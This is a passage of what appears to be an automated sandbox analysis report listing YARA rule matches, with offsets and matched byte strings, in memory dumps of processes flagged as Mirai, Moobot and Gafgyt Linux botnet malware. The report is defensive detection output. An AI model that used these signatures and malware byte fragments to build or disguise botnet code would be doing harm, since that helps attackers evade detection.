2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6304.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6549.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6549.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6549.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6549.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6549.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6549.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6973.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7256.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7256.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7256.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7256.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7256.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7256.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6271.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6271.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6271.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6271.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6271.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6271.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6217.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6217.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6217.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6217.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6217.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6217.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6760.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6349.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6349.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6349.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6349.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6349.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6349.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6846.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6846.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6846.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6846.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6846.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
